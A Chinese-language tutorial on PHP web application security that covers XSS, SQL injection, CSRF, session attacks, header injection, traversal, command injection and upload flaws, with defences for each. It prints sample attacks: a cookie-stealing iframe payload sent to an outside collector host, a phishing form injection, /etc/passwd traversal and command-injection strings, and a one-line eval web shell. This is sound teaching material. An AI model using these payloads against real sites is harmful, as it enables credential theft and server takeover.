PHP编码安全及常见攻击

PHP编程安全

Cookie简介

HTTP是一种无状态协议, 即不对请求和响应之间的通信状态进行保存. 也就是说, 无法根据之前的状态关联本次的请求处理. 目的是更快的处理大量事务, 确保协议的可伸缩性

为了解决这个问题, 引入Cookie. 客户端第一次访问服务时, 服务器生成Cookie, 通过响应发送给客户端, 并记录该Cookie对应的客户会话信息. 之后当客户端携带Cookie访问服务器时, 服务器就可以辨识本次请求的来源用户身份

image-20220908094428755

Web安全总览

Web攻击可分为主动攻击(Active Attack) 和 被动攻击(Passive Attack)

主动攻击

攻击者直接攻击Web服务器, 如SQL注入等

image-20220908095458915

被动攻击

攻击者不直接攻击服务器, 而是针对网站用户设下陷阱, 利用掉入陷阱的用户来获取修改用户数据或攻击应用程序

  • 模式一 单纯被动攻击

    image-20220908095818486

    用户在浏览过所谓的“可疑网站”之后会感染上恶意软件。理论上如果浏览器(包括Adobe Flash Player等插件)不存漏洞,此类单纯的被动攻击是行不通的。但现实中,浏览器以及Adobe Reader、Adobe Flash Player、JRE 等插件的漏洞却层出不穷

  • 模式二 在正规网站中设置陷阱的被动攻击

    image-20220908100156321

    攻击者示先入侵正规网站,往箕内容中嵌入恶意代码(①)。网站用户在浏览了含有恶意代码的内容后(②、③),就会感染病毒(④)。在这一流程中,单看步骤①的话似乎应归类为主动攻击,但步骤②、③均为被动攻击,因此可将①视作被动攻击的前期准备。

    设置陷阱 手法
    1 非法获取FTP等服务器密码后篡改网站内容
    2 通过攻击Web服务器的安全漏洞篡改网站内容
    3 通过SQL注入篡改网站内容
    4 在社交网络这类用户可以自己发布内容的网站, 利用跨站脚本漏洞实施攻击
  • 模式三 跨站被动攻击

    image-20220908100654086

    此类攻击的特征为,恶意利用已经在正规网站登录的用户账号来实施攻击。由于步骤③的请求中要向正规网站发送会话Cookie,因此,如果用户己经在正规网站登录,就会利用其己经登经的状态实施攻击。

    此类攻击模式的典型案例包括,在步骤③的请求中对Web应用发动攻击的跨站请求伪造(CSRF),以及在步骤④的响应中利用浏览器来执行攻击的跨站脚本攻击(XSS)和HTTP消息头注入攻击。

浏览器防御被动攻击

针对被动攻击,浏览器和网站都需要采取相应的防御措施。如果浏览器存在安全问题,网站方面即使实施了对策也无法完全确保安全性。

浏览器安全功能一

浏览器能在用户浏览网站的同时运行一些程序,比如JavaScript、 Java Applet、Adobe Flash Player、 ActiveX等。而为了防止恶意程序在用户的浏览器上运行,JavaScript等语言提供了一些增强安全性的功能。基本思想有如下两种:

  • CA签名确认 只有在用户确认了程序的发行方并允许运行的情况下,程序才能被运行
  • Sandbox 提供限制程序权限的沙盒环境(禁止访问本地文件/禁止使用打印机/限制网络访问)

浏览器安全功能二

同源策略 - 协议、域名(指向主机)、端口,这三个完全相同的 URL 才能称之为同源

如果同源, 在iframe外部就可以通过JS取得内部的HTML内容

  • 同源

    image-20220908105931524

  • 非同源

    image-20220908110234735

应用程序安全隐患

虽然浏览器的同源策略为抵御被动攻击设下了一道屏障,但如果应用程序中存在安全隐患,还是有可能遭受到被动攻击。跨站脚本攻击(XSS)就是典型的例子。

image-20220908112611999

Web应用功能与安全隐患关系

image-20220908112751743

Web应用可以使用 输入-处理-输出 模型表示, 从HTTP请求输入开始, 经过服务器应用的各种处理, 最后由HTTP响应进行输出. 而除了HTTP响应, 此处的输出还包括访问数据库、读写文件、收发邮件等与其他服务交流的操作

输出 安全隐患 恶意手段 数据边界符
输出HTML 跨站脚本 注入JavaScript等 <
输出HTTP消息头 HTTP消息头注入 注入响应消息头 换行符
执行SQL语句 SQL注入 注入SQL命令 '
调用Shell命令 OS命令注入 注入系统命令 ;
输出邮件头和正文 邮件头注入 注入/修改邮件头或正文 换行符

页面显示相关问题

跨站脚本XSS

通常情况下, 在Web应用的网页中, 有些部分的显示内容会依据外界输入值而发生变化(会反弹恶意代码), 而如果生成这些HTML的程序中存在问题,就会滋生跨站脚本(Cross-Site Scripting)安全隐患. 由于和知名的CSS(层叠样式表)缩写冲突, 所以经常缩写为XSS

Web应用若存XSS漏洞, 会有下列风险:

  • 用户的浏览器中运行攻击者的恶意脚本,从而导致Cookie信息被窃取,用户身份被冒名顶替
  • 攻击者能获得用户的权限来恶意使用Web应用的功能
  • 向用户显示伪造的输入表单,通过钓鱼式攻击(Phishing)窃取用户的个人信息
对象 结果
产生地点 Web应用中生成HTML和JavaScript的位置
影响范围 Web应用全体
影响类型 在网站用户的浏览器中执行JavaScript, 显示伪造的网站内容
影响程度 中 ~ 大
用户参与程度 需要: 浏览恶意网站、点击邮件附属链接、浏览已经被入侵的网站
对策概要 双引号括起属性值, 转义HTML中的特殊字符

窃取Cookie

  • 1.目标页面: 对用户输入没有做任何处理, 复现在页面上

    image-20220908124242361

  • 2.输入简单的JavaScript注入

    1
    <script> alert(document.cookie) </script>

    image-20220908124549687

  • 3.构建钓鱼页面, 诱使用户点击

    image-20220908140815830

    1
    <iframe width="300" height="200" src="http://localhost/test/WebSecure/cookie/search.php?item=<script>window.location='http://ni9ne.com.cn/collectCookie.php?sid='%2Bdocument.cookie;</script>"></iframe>
  • 4.查看结果

    image-20220908141430251

篡改网页

  • 1.目标页面

    image-20220908171049197

    image-20220908171109548

  • 2.构建钓鱼页面, 诱使用户点击

    image-20220908171448002

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <input type="hidden" name="name" value='
    "></form>
    <form style="top:5px;left:5px;position:absolute;z-index: 99;background-color: white;" action="http://ni9ne.com.cn/phishing_order_res.php" method="POST">
    <h1>预约报名</h1>
    姓名 <input type="text" name="name" size="20" value="ni9ne"><br>
    地址 <input type="text" name="addr" size="20" value="佳园路111号"><br>
    电话 <input type="text" name="tel" size="20" value="15988954253"><br>
    银行卡号 <input type="text" name="card" size="20" value="xxxxxx"><br>
    登陆密码 <input type="text" name="pwd" size="20" value="xxxxxx"><br>
    <input type="submit" value="预约">
    <br><br><br><br>
    </form>
    '>
  • 3.用户点击, 查看结果

    image-20220908171859666

    image-20220908172054985

攻击原理:

恶意网页通过下列手段隐藏原来的form并添加新的form, 从而改变页面

1.使用 "></form> 闭合原有form元素

2.添加新的form元素, 并通过指定样式方式赢藏原有form

  • 通过固定绝对坐标方式将form固定

  • 将z-index 设置为最大值, 确保悬浮在原有form上方

  • 将背景指定为网站整体背景色, 隐藏原有form

3.在新的form中指定提交目标为恶意网站

href/src属性XSS

有些元素的属性值为URL, 如 a 元素的 href 属性, img 、frame 、iframe 元素的 src 属性. 如果属性值中的URL是由外界传入, 就可能通过使用 javascript: js代码 形式的URL执行JavaScript代码.

  • 1.目标页面

    image-20220908181539429

    image-20220908181738586

  • 输入js代码

    1
    javascript:alert(document.cookie)

    image-20220908182004565

对策:

URL由程序动态生成时, 需要对其进行校验, 仅允许 http 和 https协议. 此外, 通过校验的URL还需要作为属性值进行HTML转义. 即URL属性必须满足两个条件中的一个:

  • 以 http: 或 https: 开头的绝对URL
  • 以 / 开头的相对URL

JavaScript的动态生成

Web应用中, 服务器依据客户输入动态生成一部分JavaScript. 可能存在js注入风险

  • 1.目标页面

    image-20220908183951550

    image-20220908184057779

  • 输入JS代码

    1
    ');alert(document.cookie)//

    image-20220908184224255

    实际页面变为:

    image-20220908184424050

对策:

需要对JavaScript字符串进行转义, 避免单引号 ' 被作为结束边界符

  • 将数据作为js字符串进行转义
  • 将得到的结果再次进行html实体化
原字符 JavaScript转义后 HTML实体化后
< > ' " \ < > \' \" \\ &lt; &gt; \&#39; \&quot; \\

或直接使用Unicode转义, 将字母数字之外的字符转为Unicode

错误报告导致信息泄露

错误信息泄露存在以下两种状况:

  • 错误信息中含有对攻击者有帮助的应用程序内部信息
  • 通过蓄意攻击使错误信息中显示隐私信息(如用户名/密码等)

PHP可以配置关闭错误显示

1
2
# php.ini
display_errors = Off

页面显示相关问题解决方案

XSS分类

XSS主要分为反射型XSS和存储型XSS

  • 反射型XSS(Reflected XSS)

    攻击用的JS代码位于攻击目标网站之外的其他网站(恶意网站或邮件中的URL)

    如窃取Cookie中使用的用户输入值确认页面

    image-20220908173455951

  • 存储型XSS (Stored XSS)

    也叫持久性XSS(Presistent XSS), 攻击用JS代码保存在攻击对象服务器上

    典型攻击对象为Web邮箱客户端及社交网站发布页

    image-20220908173536032

XSS产生根源

根本原因是在生产HTML过程中, HTML语法中的关键字(元字符)没有被正确处理, 导致HTML/JS被注入, 从而导致原有页面结构变化.

为了消除关键字的特殊意义, 将其转化为普通字符, 就需要进行转义/实体化处理

1
转义规则: http://www.w3chtml.com/html/character.html

解决方案

参数所在位置转义方式:

位置 说明 最低限度转义内容
元素内容 1.能解释Tag和字符实体
2.结束边界字符为 <
< &
属性值 1.能解释字符实体
2.结束边界字符为双引号 "
属性值用双引号括起来, < & "
属性值(URL) 同上 校验URL格式正确后按属性值规则转义
事件绑定函数 同上 转义JavaScript后按属性值规则转义
Script元素中的字符串 不能解释Tag和字符实体
结束边界字符为</
转义JavaScript并避免出现 </
  • PHP中一般使用 htmlspecialchars($string, $quote_style, $charset) 函数进行实体化转义, 如:

    1
    echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
  • 输入校验, 通过校验用户输入值的有效性, 防御XSS攻击

  • 给Cookie添加HttpOnly属性, 禁止 JavaScript 读取Cookie信息

    1
    2
    # php.ini
    session.cookie_httponly = 1

SQL调用相关问题

SQL注入

SQL注入漏洞是由于SQL语句的调用方法不完善而产生的安全隐患. 导致的结果一般是直接对服务器的攻击, 而不需要用户的参与, 可能造成以下影响:

  • 数据库信息被窃取
  • 数据库内容被篡改
  • 登陆认证失效
  • 其他如, 服务器文件被读取/修改, 服务器程序执行
对象 结果
产生地点 调用SQL语句的地方
影响范围 所有页面
影响类型 信息泄露、篡改数据、绕过认证、浏览编辑文件
影响程度 大
用户参与程度 不需要
对策概要 使用静态占位符, 预编译模式运行SQL

SQL注入攻击方式多种多样 , 暂不具体展开, 后续开专题详细介绍, 应对方式一般使用静态占位符预编译即可

1
2
3
4
$sql = "select * from tb_user where name = ? and pwd = ? limit 1";
$pdo_stmt = $mysql->prepare($sql);
$pdo_stmt->execute($dataArray);
$result = $pdo_stmt->fetchAll();

其他辅助对策:

  • 不显示详细错误信息
  • 校验输入值有效性
  • 设置数据库权限

关键处理中引入的安全隐患-CSRF

关键处理中如果存在安全隐患, 可能产生跨站请求伪造(CSRF)的漏洞

关键处理 - 账号转账/发送邮件/密码更改 等一旦完成无法撤销的操作

CSRF - 跨站请求伪造Cross-Site Request Forgery

执行关键处理前, 需要确认请求确实是用户自愿发起的. 如果存在CSRF漏洞, 可能造成:

  • 攻击者使用用户的账号 下单购物/发帖
  • 攻击者删除用户账号
  • 攻击者更改用户的密码/邮箱
对象 结果
产生地点 以下任意网站上执行关键处理的页面:
- 仅使用Cookie进行会话处理的网站
- 仅依靠HTTP认证、SSL证书、手机移动ID标识用户的网站
影响范围 存在CSRF漏洞的页面
影响类型 以用户权限执行关键处理
影响程度 中 ~ 大
用户参与程度 需要 -> 点击恶意链接、浏览恶意网站
对策概要 执行关键处理前, 确认是正规用户发起请求

典型攻击模式

  • 1.目标页面

    image-20220909112236956

    image-20220909112353922

    整个页面工作流程为:

    • 确认用户登陆状态, 显示修改密码链接
    • 用户输入新密码, 通过POST将信息传入后台处理脚本
    • 后台接收数据, 修改当前用户密码并回显
  • 2.构建钓鱼页面, 诱使用户点击

    image-20220909112735590

    image-20220909112934443

  • 3.攻击流程

    image-20220909113243497

    根据同源策略, iframe外层(恶意网页) 无法读取到内部(目标网页) 的内容, 因此, CSRF攻击无法获取目标的内容, 但可以模拟用户操作, 使用当前用户的Cookie修改用户密码, 从而达到攻击目标

解决方案

防御CSRF关键为 确认关键处理的请求确实是来自正规用户自愿发起的. 因此需要执行以下两点:

  • 筛选需要防范CSRF攻击的页面(关键处理页面)
  • 使代码能判断当前操作是否为用户主观行为

确认正规用户自愿发起请求方式:

image-20220909113900268

  • 嵌入机密信息(令牌)

    1
    2
    3
    4
    5
    # 关键页面
    <input type="hidden" name="token" value="<?php echo htmlspecialchars(session_id) ?>">

    # 后台处理
    if (session_id() !== $_POST['token']) die('请从正规页面操作');
  • 再次输入密码

    发送确认短信/输入密码, 确保是用户自愿发起, 但需要保证确认密码页面是最后的执行页面, 否则可能被跳过

  • 检验Referer

    1
    if ($_SERVER['HTTP_REFERER'] !== WEB_HOST) die('REFERER检测失败');

防范策略比较

嵌入令牌 确认密码 确认REFERER
开发耗时 中 中 小
用户影响 无 增加输入密码步骤 关闭Referer用户无法使用
手机网站适用 可以 可以 不可以
建议使用位置 基本策略, 所有情况均可适用 防范他人伪装需求较强的页面 可以限定用户环境

辅助性对策

执行关键处理后, 可以向用户注册邮箱发送相关处理内容的通知, 让用户第一时间知情, 降低损害

不完善的会话管理

Web应用中经常使用会话管理机制来记忆认证结果等状态. 一般使用Cookie记忆当前会话ID, 因此, 会话ID的作用相当于获取服务器端信息的钥匙

如果由于某些原因, 用户的会话ID被第三方得知, 就会出现他人伪装用户访问的风险, 这种攻击手段就称为会话劫持

第三方获取会话ID方式

  • 预测 会话ID
  • 窃取 会话ID
  • 挟持 会话ID

image-20220907113217019

预测会话ID

如果生成会话ID的方式不妥善, 可能会被第三方预测成功, 如连续的数值, 基于日期、用户名生成, 开源软件中可预测的生成代码逻辑等

窃取会话ID

窃取会话ID方式有以下几种:

  • 生成时Cookie属性设置不妥善(httponly)

  • 明文传输, 被网络监听

  • 由于跨站脚本安全隐患泄露

  • PHP或浏览器平台安全隐患泄露

  • 会话ID在URL中使用, 经由Referer泄露(支持发布外链)

可能导致安全隐患:

  • 跨站脚本攻击(XSS)
  • HTTP消息头注入
  • 嵌入在URL中的会话ID

劫持会话ID

将会话ID强制设置到用户浏览器中, 也就相当于攻击者得知了用户的会话ID, 称为 会话固定攻击(Session Fixation Attack)

安全隐患

会话ID可预测

对象 结果
产生地点 生成会话ID的地方
影响范围 Web应用使用会话管理的所有页面
影响类型 伪装用户
影响程度 大
用户参与程度 不需要
对策概要 停止自己实现会话管理机制, 而使用平台或语言提供的会话机制

攻击步骤:

  • 1.收集对象应用的会话ID
  • 推测会话ID生成规则
  • 在对象应用中实验生成的会话ID

常见会话ID生成方式:

会话ID一般都是基于以下内容生成:

  • 用户ID或邮箱地址

  • 远程IP地址

  • 日期与实践(UNIX时间戳或年月日时分秒字符串)

  • 随机数

image-20220909121157721

对策:

为了避免生成可预测的会话ID产生安全隐患, 应当停止自己实现会话管理机制, 而使用平台或语言提供的会话机制

会话ID嵌入URL

会话ID有时并不保存在Cookie中, 而是被保存于URL. 由于一些手机浏览器不支持Cookie, 因此这种做法也经常使用

1
http://example.com/login.php?PHPSESSID=onjic14un02ccjqilsq8uq8as0

会话ID嵌入URL可能导致会话ID经由Referer外协, 从而造成伪装攻击

对象 结果
产生地点 生成会话ID的地方
影响范围 Web应用使用会话管理的所有页面
影响类型 伪装用户
影响程度 中 ~ 大
用户参与程度 需要 -> 点击链接, 浏览邮件附属URL
对策概要 在程序中设置禁止嵌入会话ID到URL

PHP会话设置

1
2
3
4
5
6
7
# php.ini
## 使用Cookie保存会话ID, 默认On(1)
session.use_cookies = 1
## 仅将会话ID保存在Cookie, 默认On(1)
session.use_only_cookies = 1
## 自动将会话ID嵌入URL, 默认Off(0)
session.use_trans_sid = 0

配置使用效果

use_cookies use_only_cookies 会话ID保存位置
On On 会话ID仅保存在Cookie中
On Off 可以使用Cookie时保存在Cookie中,不能使用时嵌入URL
Off On 无意义组合
Off Off 始终将会话ID嵌入URL

上述情况中, session.use_trans_sid值为On时, 会话ID会自动嵌入URL, Off时, 仅在需要嵌入时, 才会嵌入

攻击案例

1
2
3
4
# php.ini
session.use_cookies = 0
session.use_only_cookies = 0
session.use_trans_sid = 1

构建钓鱼页面, 诱使用户点击

image-20220909163655413

image-20220909163754243

攻击条件

网站同时满足以下两个条件是, 存在会话ID失窃的风险

  • 能够使用被嵌入URL的会话ID
  • 存在跳转至外部网站的链接. 或用户可以发布自己的链接

对策

PHP设置仅使用Cookie保存会话ID, 不开启嵌入URL配置, 即默认配置

固定会话ID

会话攻击的另一种手段为从外部劫持会话ID, 即会话固定攻击. 攻击流程如下:

  • 1.取得目标网站的会话ID或自己指定ID
  • 2.强行将上述会话ID交给用户
  • 3.用户登陆目标Web应用
  • 4.攻击者使用该会话ID伪装用户进入Web应用

应对会话固定攻击时, 彻底杜绝步骤2比较困难, 因此一般采用用户登陆时更换其会话ID的方式

对象 结果
产生地点 进行登陆处理的页面
影响范围 Web应用使用会话管理的所有页面
影响类型 伪装用户
影响程度 中 ~ 大
用户参与程度 需要 -> 点击链接, 浏览邮件附属URL
对策概要 用户登陆时更换会话ID

攻击案例

1
2
3
4
# php.ini
session.use_cookies = 1
session.use_only_cookies = 0
session.use_trans_sid = 1
  • 1.目标页面, 登陆

    image-20220909170628330

    image-20220909170746289

  • 构建钓鱼链接, 诱使用户点击登陆

    image-20220909170828538

    image-20220909171110803

对策

由于框架/平台存在**会话采纳(Session Adoption)**机制, 会采用预先提供的会话ID来生成会话. 存在以下对策:

  • 方案一 认证登陆后更改会话ID

    PHP中可以使用函数 session_regenerate_id() , 当指定参数为ture时, 会自动生成新的会话ID. 格式如下:

    1
    bool session_regenerate_id([bool $delete_old_session = false])

    image-20220909172001418

  • 方案二 采用令牌

    登陆/注册时, 生成一个随机字符串(令牌), 将其同时保存在Cookie和会话变量中. 然后在各页面确认比较Cookie和令牌值, 如果两者一致则视为认证成功, 不一致时认证失败.

    由于只有在登陆时令牌才发布, 攻击者不经过登陆页, 无法获取令牌值, 可以成功防御会话固定攻击

    image-20220909175701763

辅助对策

如果登陆前使用了会话变量, 防范会话固定攻击比较难. 在这种状况下, 也可以使用hidden参数来传递值, 或与以下方式组合使用:

  • 不再登陆前的会话变量中存储敏感数据
  • 不使用嵌入URL的会话ID

重定向相关

Web应用中有时会重定向到外界指定的URL. 典型案例为: 在登陆页面参数中指定URL, 登陆成功后重定向到该URL.

1
https://www.google.com/accounts/ServiceLogin?continue=https://mail.google.com/mail

重定向处理时可能产生以下安全风险:

  • 自由重定向漏洞
  • HTTP消息头注入

自由重定向

有些Web应用提供了能够重定向到参数指定URL的功能, 即重定向器(Redirector), 其中能够重定向到任意域名的重定向器叫自由重定向(Open Redirect). 自由重定向可能导致用户在不知情状况下被带入其他网站, 从而遭受钓鱼攻击

对象 结果
产生地点 能够重定向到外界指定URL的页面
影响范围 Web应用的所有页面
影响类型 诱导用户到钓鱼网站, 暴露重要信息
影响程度 中 ~ 大
用户参与程度 需要 -> 点击链接, 浏览邮件附属URL
对策概要 固定重定向目标 或 白名单机制

应该评估 [自由重定向功能] 是否不可或缺, 并固定重定向目标. 实在无法固定, 可限制在运行域名范围内

攻击案例

  • 1.目标页面, 正常登陆流程

    image-20220909205057240

    image-20220909205240730

  • 2.构建钓鱼页面, 诱使用户点击

    image-20220909205436417

    image-20220909205806398

自由重定向漏洞产生的原因主要是:

1.重定向目标可以由外界指定

2.没有对重定向目标域名做校验

对策

  • 固定重定向的目标URL
  • 使用编号指定重定向目标URL
  • 校验重定向目标域名

HTTP消息头注入

HTTP消息头注入漏洞是指, 在重定向或生成Cookie等基于外部传入的参数输出HTTP响应头时查收的安全隐患. 输出响应消息头时, 通过在参数中添加换行符, 就可以实现任意添加响应消息头或伪造消息体的操作

可能造成以下影响:

  • 生成任意Cookie

  • 重定向至任意URL

  • 更改页面显示内容

  • 执行任意JS代码而造成XSS同样的损害

响应头中的换行符有特殊意义, 一个换行符代表一条属性的结束, 两个换行符代表消息头结束, 消息体开始

image-20220909212221572

请求报文格式:

image-20220909210941145

响应报文格式:

image-20220909211106387

对象 结果
产生地点 重定向或生成Cookie等基于外部传入的参数输出HTTP响应头的页面
影响范围 Web应用的所有页面
影响类型 伪装、显示伪造页面、缓存污染
影响程度 中 ~ 大
用户参与程度 需要 -> 点击链接, 浏览邮件附属URL
对策概要 不将外界传入参数作为HTTP响应头输出 或 校验重定向/生成Cookie参数中的换行符

安全隐患产生原因

HTTP响应头信息能够以文本格式逐行定义, 也就是说消息头之间以换行符分隔. 如果攻击者指定重定向目标URL或Cookie值参数中插入换行符, 且该换行符直接被作为响应输出, 就会产生HTTP消息头注入

对策

  • 对策一 不将外界参数作为HTTP响应消息头输出

    • 不直接使用URL, 而是从外界获取URL编号, 对应匹配后指定URL
    • 使用Web服务中的会话变量来移交URL
  • 对策二 校验消息头参数

    • 由专门的API进行重定向或生成Cookie

      1
      2
      header('location:' . $URL);
      setcookie();
    • 校验生成消息头参数中的换行符

cookie输出相关

用途不当

不应使用Cookie保存敏感数据, 或过于依赖Cookie中的数据. 因为Cookie是保存在客户端且可以被修改的

image-20220909213435904

除了控制消息有效期限和不同服务器件共享信息, 除此之外, 会话变量均优于使用Cookie

输出方法不当

输出Cookie时容易产生安全隐患:

  • HTTP消息头注入

  • Cookie安全属性设置不完善

    image-20220909213416045

    Cookie中包含Secure属性, 指定时仅在HTTPS传输下才会被浏览器发送至服务器. 而如果未指定安全属性, 即使应用中使用了HTTPS传输, Cookie也可能会以明文方式传输, 存在监听风险

    为解决这一问题, 最直接的对策是使用Cookie的安全属性. 如果网站中HTTP和HTTPS同时存在, 可以通过添加一个设置安全属性的令牌Cookie, 在每个HTTPS页面中确认令牌值即可

对策

  • 方案一 设置Secure属性

    1
    2
    3
    # php.ini
    session.cookie_secure = 1
    session.cookie_httponly = 1
  • 方案二 使用令牌Token

    1
    2
    $token = $_COOKIE['token'];
    if (!$token || $token != $_SESSION['token']) die('Token 验证失败');

文件处理相关

在有些Web应用中, 可以通过外接传入参数的方式来指定服务器中的文件名, 如指定模板. 可能造成以下风险

  • 目录遍历 非法访问服务器文件
  • OS命令注入 调用OS命令

目录遍历漏洞

Web应用允许外界以参数形式指定服务器文件名时, 如果没有进行充分校验, 可能造成文件被浏览、篡改或删除.

可能造成以下影响:

  • 浏览Web服务器中的文件
    • 泄露重要信息
  • 篡改/删除服务器文件
    • 篡改网页文件内容
    • 删除脚本文件或配置文件导致宕机
    • 通过篡改脚本文件在服务器上执行任意脚本

要防范目录遍历漏洞, 有如下方式(多选一):

  • 避免由外界指定文件名
  • 文件名中不允许包含目录
  • 限定文件名中仅包含数字和字母
对象 结果
产生地点 允许外界以参数形式指定服务器文件名的页面
影响范围 Web应用的所有页面
影响类型 泄露隐私信息、篡改删除信息、执行脚本、宕机
影响程度 大
用户参与程度 不需要
对策概要 - 避免由外界指定文件名
- 文件名中不允许包含目录
- 限定文件名中仅包含数字和字母

攻击案例

  • 1.目标页面

    image-20220910103711569

  • 2.请求参数变更

    1
    http://local2.project.com/?tpl=../../../../etc/passwd

    image-20220910103756231

对策

实施以下任一项:

  • 避免由外界指定文件名

    • 固定文件名
    • 将文件名保存在会话变量中
    • 不直接指定文件名, 而是使用编号的间接指定
  • 文件名中不允许包含目录

    • ```php
      $tpl = basename($_GET[‘tpl’]);
      1
      2
      3
      4
      5
      6
      7

      - 限定文件名中仅包含数字和字母

      - ```php
      if (!preg_match('/\A[a-z0-9]+\.html\z/ui', $tpl)){
      die('tpl仅能使用数字和字母');
      }

内部文件被公开

Web服务器中的公开目录有时会防止对外保密的文件. 外界一旦得知文件URL, 就能浏览内部文件, 所以, 一般不在公开目录中放置内部文件, 或直接禁用目录列表功能

对象 结果
产生地点 网站全体
影响范围 仅限于被公开文件
影响类型 泄露隐私信息
影响程度 大
用户参与程度 不需要
对策概要 不在公开目录中放置内部文件, 或直接禁用目录列表功能

image-20220910104559023

1
2
3
4
5
6
7
8
9
10
# Apache中编辑httpd.conf禁用目录列表
<VirtualHost *:80>
ServerName ni9ne.com.cn
DocumentRoot "D:/wamp64/www/test/WebSecure/web"
<Directory "D:/wamp64/www/test/WebSecure/web/">
Options +Includes +FollowSymLinks +MultiViews # 去除[+Indexes]配置
AllowOverride All
Require all granted
</Directory>
</VirtualHost>

调用OS命令相关问题

Web开发中, 大部分语言都支持通过shell执行OS(操作系统)命令. 当编码时通过shell执行OS命令或某个方法内部使用shell. 就可能出现OS命令被任意执行的情况, 即OS命令注入

OS命令注入

  • 1.目标页面 发送邮件

    image-20220910121843511

    image-20220910121913823

  • 2.输入注入命令

    1
    ni9ne@outlook.com;cat /etc/passwd

    image-20220910122023301

OS注入产生原因

使用Shell来启动命令, 同时也意味着可以使用连续命令, 管道符, 重定向等功能

1
2
3
4
# php 执行代码
system("echo hello > a.txt");
# 相当于Shell执行
sh -C echo hello > a.txt

如果指定OS命令参数字符串中混入了Shell的元字符, 就会导致攻击者添加的OS命令被执行. 即满足OS注入漏洞的条件包括:

  • 使用了内部调用Shell的函数 (system open等)
  • 将外界传入参数传递给内部调用Shell的函数
  • 参数中Shell的元字符没有被转义

对策

为了防范OS命令注入, 可以使用以下方法:

  • 选择不调用OS命令的实现方法

    1
    mb_send_mail($to, $content, 'From: xxx@qq.com');
  • 不将外界输入的字符串传递给命令行参数

    不将字符传放入命令, 而是通过指定消息头的方式, 由命令自行读取参数

  • 使用安全的函数对参数进行转义

    1
    escapeshellarg();

文件上传问题

针对上传的DOS攻击

使用上传功能连续发送体积巨大的文件, 可能形成网站负荷过载的DOS攻击(Denial of service Attack)

防范DOS攻击的一种有效策略为限制上传文件的容量.

PHP中的php.ini文件限制:

设置项目 说明 默认值
file_uploads 是否允许使用文件上传 On
upload_max_filesize 单个文件最大容量 2MB
max_file_uploads 单次请求最大文件上传个数 20
post_max_size POST包最大限制 8MB
memory_limit 脚本最大申请内存 128MB

Apache/Nginx中也有类似的配置项目

上传执行脚本

有些文件上传处理会将用户上传的文件保存至Web服务器的公开目录中. 如果上传了php、asp、aspx、jsp等脚本文件, 用户就可以在服务器上执行脚本, 造成与OS命令注入同样的影响

为了防范上传脚本, 可以使用以下方法:

  • 不将用户上传的文件保存在公开目录中, 浏览文件需要通过脚本实现
  • 将文件的扩展名限定为不可执行的文件
对象 结果
产生地点 提供文件上传的页面
影响范围 所有页面
影响类型 泄露隐私信息、篡改删除数据、对外发动DOS攻击的
影响程度 大
用户参与程度 不需要
对策概要 - 不将用户上传的文件保存在公开目录中, 浏览文件需要通过脚本实现
- 将文件的扩展名限定为不可执行的脚本文件

恶意脚本

1
@eval($_POST['shell']);

对策

  • 校验上传文件类型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # 匹配后缀
    $allowType = ['jpg', 'gif', 'png'];
    $allowHeader = [];
    $extension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
    if (!in_array($extension, $allowType)){
    die('文件格式不允许上传');
    }
    # 匹配字节头
    $allowHeader = [IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG];
    $type = getimagesize($filename)[2];
    if (!in_array($type, $allowHeader)){
    die('文件格式不允许上传');
    }

诱使用户下载恶意文件

include相关问题

PHP等脚本语言能够从外部文件读取脚本源代码的一部分. 对应的关键字包括

1
require ;  require_once ; include ; include_once ;

如果外界能够制定include的对象文件名, 就可能造成意料之外的文件被include而遭受攻击. 即文件包含漏洞. 在PHP的配置中, 还能开启配置, 可以指定外部服务器的URL作为包含文件, 可能存在远程文件包含风险(RFI)

1
2
# php.ini
allow_url_include = Off

为了防范文件包含漏洞, 可以采取以下措施:

  • 避免include的路径中包含外界传入的参数
  • include路径包含参数时, 限制字符种类仅为数字和字母
对象 结果
产生地点 include读取脚本的页面
影响范围 所有页面
影响类型 泄露隐私信息、篡改删除数据、对外发动DOS攻击的
影响程度 大
用户参与程度 不需要
对策概要 - 避免include的路径中包含外界传入的参数
- include路径包含参数时, 限制字符种类仅为数字和字母

eval相关问题

如果eval 函数使用不当, 可能导致外界传入脚本被执行, 即eval注入攻击

为避免出现风险, 可采取以下措施:

  • 不使用eval或eval相当的功能
  • 避免eval的参数包含外界传入的参数
  • eval参数中包含外界传入参数时, 校验参数, 限定为仅含数字字母
对象 结果
产生地点 使用eval或eval相当的功能的页面
影响范围 所有页面
影响类型 泄露隐私信息、篡改删除数据、对外发动DOS攻击的
影响程度 大
用户参与程度 不需要
对策概要 - 不使用eval或eval相当的功能
- 避免eval的参数包含外界传入的参数
- eval参数中包含外界传入参数时, 限定为仅含数字字母